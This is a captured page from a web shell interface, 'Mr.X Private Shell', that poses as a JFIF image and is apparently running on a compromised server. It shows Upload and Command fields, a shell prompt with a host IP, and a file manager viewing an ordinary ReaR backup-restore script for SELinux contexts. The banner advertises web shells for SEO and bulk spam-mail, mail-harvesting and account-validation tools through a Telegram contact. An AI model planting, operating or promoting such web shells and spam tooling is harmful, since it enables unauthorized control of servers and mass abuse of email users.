����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
#
# restore/YUM/default/600_restore_selinux_contexts.sh
#

# For BACKUP=YUM the SELinux security context data for all files can be stored for
# the ReaR recovery system via backup/YUM/default/600_capture_selinux_contexts.sh
# to ensure that the contexts are precisely replicated.
# Only available if YUM_BACKUP_FILES is set to create a file archive.

if ! is_true "$YUM_BACKUP_FILES" ; then
        LogPrint "Not restoring SELinux contexts (YUM_BACKUP_FILES=$YUM_BACKUP_FILES)"
        return
fi
if ! is_true "$YUM_BACKUP_SELINUX_CONTEXTS" ; then
        LogPrint "Not restoring SELinux contexts (YUM_BACKUP_SELINUX_CONTEXTS=$YUM_BACKUP_SELINUX_CONTEXTS)"
        return
fi
LogPrint "Restoring SELinux contexts (YUM_BACKUP_SELINUX_CONTEXTS=$YUM_BACKUP_SELINUX_CONTEXTS)"

# Try to care about possible errors
# see https://github.com/rear/rear/wiki/Coding-Style
set -e -u -o pipefail

cat $( dirname "$backuparchive" )/selinux_contexts.dat | chroot $TARGET_FS_ROOT/ xargs -n 2 chcon -h $v

# SELinux policy can become invalid if installed too early in the restore process, so reinstall it to ensure
# that it is valid after we've restored the SELinux contexts
if rpm_package=$(rpm $v --root $TARGET_FS_ROOT --query selinux-policy-targeted) ; then
	rpm_package_name_version="${rpm_package%-*}"
	rpm_package_name="${rpm_package_name_version%-*}"
        LogPrint "Reinstalling $rpm_package_name"
	# Sometimes the version of the package isn't available to reinstall, so if reinstall
	# fails, do a regular package upgrade
        yum $verbose --installroot=$TARGET_FS_ROOT -y reinstall "$rpm_package_name" 1>&2 || \
        yum $verbose --installroot=$TARGET_FS_ROOT -y upgrade "$rpm_package_name" 1>&2
fi

# Restore the ReaR default bash flags and options (see usr/sbin/rear):
apply_bash_flags_and_options_commands "$DEFAULT_BASH_FLAGS_AND_OPTIONS_COMMANDS"

Filemanager

Name Type Size Permission Actions
100_mount_YUM_path.sh File 140 B 0644
400_restore_packages.sh File 10.6 KB 0644
403_binds_for_selinux.sh File 772 B 0644
405_recreate_users_and_groups.sh File 5.05 KB 0644
410_restore_backup.sh File 17.24 KB 0644
600_restore_selinux_contexts.sh File 1.81 KB 0644
940_generate_fstab.sh File 5 KB 0644
950_grub2_mkconfig.sh File 2.2 KB 0644
950_grub_mkconfig.sh File 1.93 KB 0644
970_set_root_password.sh File 2.17 KB 0644
980_initial_network_setup.sh File 3.47 KB 0644
980_umount_YUM_dir.sh File 154 B 0644